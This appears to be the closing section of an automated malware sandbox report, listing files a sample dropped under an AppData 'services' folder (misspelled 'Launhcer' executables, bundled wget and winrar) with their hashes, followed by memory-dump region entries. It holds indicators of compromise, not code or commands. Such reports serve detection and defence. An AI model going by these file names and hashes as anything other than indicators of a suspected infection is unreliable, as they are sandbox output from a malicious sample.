                                                              0699b612c13187f89e71b0008221dddab30c3adaef353c21b40fda72f2487eea874f2475f6e9a9a5a23855f20548dae537fa97fcbeabfc1f266f5219dacdb244

                                                            • C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

                                                              Filesize

                                                              3KB

                                                              MD5

                                                              6cced0a38b185030835bf8857633c159

                                                              SHA1

                                                              4f1604d5e67894fb6b054f8ac82122fa8ad69ed6

                                                              SHA256

                                                              f15ae3d7b9d5310f53939148cf8fe58c8078086e934628ad2c3a611a59181e36

                                                              SHA512

                                                              576c4e937b13050ca408445242db266e43c02dc1ec8ea567994594bd624c276bb20c46b94cf54cfe1ac36091bb4cf9959df1403b4838ab15fa10c75f119e18cc

                                                            • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe

                                                              Filesize

                                                              364KB

                                                              MD5

                                                              e5c00b0bc45281666afd14eef04252b2

                                                              SHA1

                                                              3b6eecf8250e88169976a5f866d15c60ee66b758

                                                              SHA256

                                                              542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

                                                              SHA512

                                                              2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

                                                            • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest

                                                              Filesize

                                                              1KB

                                                              MD5

                                                              f0fc065f7fd974b42093594a58a4baef

                                                              SHA1

                                                              dbf28dd15d4aa338014c9e508a880e893c548d00

                                                              SHA256

                                                              d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

                                                              SHA512

                                                              8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

                                                            • C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

                                                              Filesize

                                                              6KB

                                                              MD5

                                                              6e7b8b4200d14198c2a6c2c7617a78db

                                                              SHA1

                                                              b4d87db35a6cb1630a78e50939317f7c68a5303d

                                                              SHA256

                                                              91436d2eb99775eef9b6e543c089794f851d750924d3aaede3627623fd0a7f2e

                                                              SHA512

                                                              72aaa8307509aa26782e3954511f0d6306c9cffce312566b91036f173cd763f2d621f907cc3646cb0c0881ef066b7ec10d784eeb4c47c732812bb3eb3ddeb99d

                                                            • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe

                                                              Filesize

                                                              364KB

                                                              MD5

                                                              93fde4e38a84c83af842f73b176ab8dc

                                                              SHA1

                                                              e8c55cc160a0a94e404f544b22e38511b9d71da8

                                                              SHA256

                                                              fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

                                                              SHA512

                                                              48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

                                                            • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

                                                              Filesize

                                                              1KB

                                                              MD5

                                                              1b6de83d3f1ccabf195a98a2972c366a

                                                              SHA1

                                                              09f03658306c4078b75fa648d763df9cddd62f23

                                                              SHA256

                                                              e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

                                                              SHA512

                                                              e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

                                                            • C:\Users\Admin\AppData\Roaming\services\wget.exe

                                                              Filesize

                                                              4.9MB

                                                              MD5

                                                              8c04808e4ba12cb793cf661fbbf6c2a0

                                                              SHA1

                                                              bdfdb50c5f251628c332042f85e8dd8cf5f650e3

                                                              SHA256

                                                              a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

                                                              SHA512

                                                              9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

                                                            • C:\Users\Admin\AppData\Roaming\services\winrar.exe

                                                              Filesize

                                                              2.1MB

                                                              MD5

                                                              f59f4f7bea12dd7c8d44f0a717c21c8e

                                                              SHA1

                                                              17629ccb3bd555b72a4432876145707613100b3e

                                                              SHA256

                                                              f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

                                                              SHA512

                                                              44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

                                                            • memory/568-82-0x0000000000400000-0x00000000008F2000-memory.dmp

                                                              Filesize

                                                              4.9MB

                                                            • memory/572-202-0x000002C9429B0000-0x000002C942A63000-memory.dmp

                                                              Filesize

                                                              716KB

                                                            • memory/572-205-0x000002C942BA0000-0x000002C942BA6000-memory.dmp

                                                              Filesize

                                                              24KB

                                                            • memory/572-204-0x000002C942BD0000-0x000002C942BEA000-memory.dmp

                                                              Filesize

                                                              104KB

                                                            • memory/572-203-0x000002C942A70000-0x000002C942A7A000-memory.dmp

                                                              Filesize

                                                              40KB

                                                            • memory/572-201-0x000002C942990000-0x000002C9429AC000-memory.dmp

                                                              Filesize

                                                              112KB

                                                            • memory/720-152-0x0000000000400000-0x000000000046F000-memory.dmp

                                                              Filesize

                                                              444KB

                                                            • memory/876-59-0x0000000006E10000-0x0000000006E44000-memory.dmp

                                                              Filesize

                                                              208KB

                                                            • memory/876-70-0x0000000007050000-0x00000000070F4000-memory.dmp

                                                              Filesize

                                                              656KB

                                                            • memory/876-71-0x00000000077C0000-0x0000000007E3A000-memory.dmp

                                                              Filesize

                                                              6.5MB

                                                            • memory/876-72-0x0000000007200000-0x000000000720A000-memory.dmp

                                                              Filesize

                                                              40KB

                                                            • memory/876-73-0x0000000007380000-0x0000000007391000-memory.dmp

                                                              Filesize

                                                              68KB

                                                            • memory/876-74-0x00000000073C0000-0x00000000073CE000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/876-75-0x00000000073D0000-0x00000000073E5000-memory.dmp

                                                              Filesize

                                                              84KB

                                                            • memory/876-76-0x0000000007410000-0x000000000742A000-memory.dmp

                                                              Filesize

                                                              104KB

                                                            • memory/876-77-0x0000000007400000-0x0000000007408000-memory.dmp

                                                              Filesize

                                                              32KB

                                                            • memory/876-69-0x00000000063F0000-0x000000000640E000-memory.dmp

                                                              Filesize

                                                              120KB

                                                            • memory/876-60-0x0000000070160000-0x00000000701AC000-memory.dmp

                                                              Filesize

                                                              304KB

                                                            • memory/1052-151-0x0000000000400000-0x000000000046F000-memory.dmp

                                                              Filesize

                                                              444KB

                                                            • memory/1460-106-0x0000000000400000-0x00000000008F2000-memory.dmp

                                                              Filesize

                                                              4.9MB

                                                            • memory/1984-121-0x00007FF934310000-0x00007FF934312000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/1984-124-0x0000000140000000-0x0000000140E3D000-memory.dmp

                                                              Filesize

                                                              14.2MB

                                                            • memory/1984-122-0x00007FF934320000-0x00007FF934322000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/2008-102-0x0000000000690000-0x0000000000699000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/2008-108-0x00007FF934100000-0x00007FF934309000-memory.dmp

                                                              Filesize

                                                              2.0MB

                                                            • memory/2008-107-0x0000000002550000-0x0000000002950000-memory.dmp

                                                              Filesize

                                                              4.0MB

                                                            • memory/2008-110-0x0000000075B50000-0x0000000075DA2000-memory.dmp

                                                              Filesize

                                                              2.3MB

                                                            • memory/2304-97-0x0000000003350000-0x0000000003750000-memory.dmp

                                                              Filesize

                                                              4.0MB

                                                            • memory/2304-98-0x0000000003350000-0x0000000003750000-memory.dmp

                                                              Filesize

                                                              4.0MB

                                                            • memory/2304-99-0x00007FF934100000-0x00007FF934309000-memory.dmp

                                                              Filesize

                                                              2.0MB

                                                            • memory/2304-101-0x0000000075B50000-0x0000000075DA2000-memory.dmp

                                                              Filesize

                                                              2.3MB

                                                            • memory/2304-111-0x0000000000400000-0x000000000047E000-memory.dmp

                                                              Filesize

                                                              504KB

                                                            • memory/2488-183-0x0000000140000000-0x0000000140E3D000-memory.dmp

                                                              Filesize

                                                              14.2MB

                                                            • memory/2496-29-0x0000000005AB0000-0x0000000005B16000-memory.dmp

                                                              Filesize

                                                              408KB

                                                            • memory/2496-27-0x0000000005850000-0x00000000058B6000-memory.dmp

                                                              Filesize

                                                              408KB

                                                            • memory/2496-40-0x0000000005FF0000-0x000000000603C000-memory.dmp

                                                              Filesize

                                                              304KB

                                                            • memory/2496-42-0x00000000064E0000-0x00000000064FA000-memory.dmp

                                                              Filesize

                                                              104KB

                                                            • memory/2496-43-0x0000000006530000-0x0000000006552000-memory.dmp

                                                              Filesize

                                                              136KB

                                                            • memory/2496-91-0x00000000736E0000-0x0000000073E91000-memory.dmp

                                                              Filesize

                                                              7.7MB

                                                            • memory/2496-41-0x0000000006F80000-0x0000000007016000-memory.dmp

                                                              Filesize

                                                              600KB

                                                            • memory/2496-39-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

                                                              Filesize

                                                              120KB

                                                            • memory/2496-38-0x0000000005BD0000-0x0000000005F27000-memory.dmp

                                                              Filesize

                                                              3.3MB

                                                            • memory/2496-26-0x0000000005130000-0x0000000005152000-memory.dmp

                                                              Filesize

                                                              136KB

                                                            • memory/2496-44-0x0000000007620000-0x0000000007BC6000-memory.dmp

                                                              Filesize

                                                              5.6MB

                                                            • memory/2496-84-0x00000000736E0000-0x0000000073E91000-memory.dmp

                                                              Filesize

                                                              7.7MB

                                                            • memory/2496-22-0x00000000736EE000-0x00000000736EF000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2496-83-0x00000000736EE000-0x00000000736EF000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2496-28-0x00000000736E0000-0x0000000073E91000-memory.dmp

                                                              Filesize

                                                              7.7MB

                                                            • memory/2496-23-0x0000000004B40000-0x0000000004B76000-memory.dmp

                                                              Filesize

                                                              216KB

                                                            • memory/2496-24-0x00000000736E0000-0x0000000073E91000-memory.dmp

                                                              Filesize

                                                              7.7MB

                                                            • memory/2496-25-0x00000000051B0000-0x00000000057DA000-memory.dmp

                                                              Filesize

                                                              6.2MB

                                                            • memory/3124-147-0x0000000000400000-0x000000000046F000-memory.dmp

                                                              Filesize

                                                              444KB

                                                            • memory/3728-220-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-225-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-234-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-233-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-219-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-224-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-227-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-218-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-216-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-217-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-226-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-228-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-222-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-221-0x0000000140000000-0x0000000140848000-memory.dmp

                                                              Filesize

                                                              8.3MB

                                                            • memory/3728-223-0x000001DA64350000-0x000001DA64370000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/4164-215-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4164-208-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4164-209-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4164-210-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4164-211-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4164-212-0x0000000140000000-0x000000014000E000-memory.dmp

                                                              Filesize

                                                              56KB

                                                            • memory/4528-239-0x0000000000400000-0x000000000046F000-memory.dmp

                                                              Filesize

                                                              444KB

                                                            • memory/4732-175-0x000001D83C960000-0x000001D83C96A000-memory.dmp

                                                              Filesize

                                                              40KB

                                                            • memory/4732-153-0x000001D824530000-0x000001D824552000-memory.dmp

                                                              Filesize

                                                              136KB

                                                            • memory/4732-172-0x000001D83C920000-0x000001D83C93C000-memory.dmp

                                                              Filesize

                                                              112KB

                                                            • memory/4732-173-0x000001D83C940000-0x000001D83C94A000-memory.dmp

                                                              Filesize

                                                              40KB

                                                            • memory/4732-174-0x000001D83C950000-0x000001D83C958000-memory.dmp

                                                              Filesize

                                                              32KB

                                                            • memory/5004-127-0x0000000000400000-0x00000000008F2000-memory.dmp

                                                              Filesize

                                                              4.9MB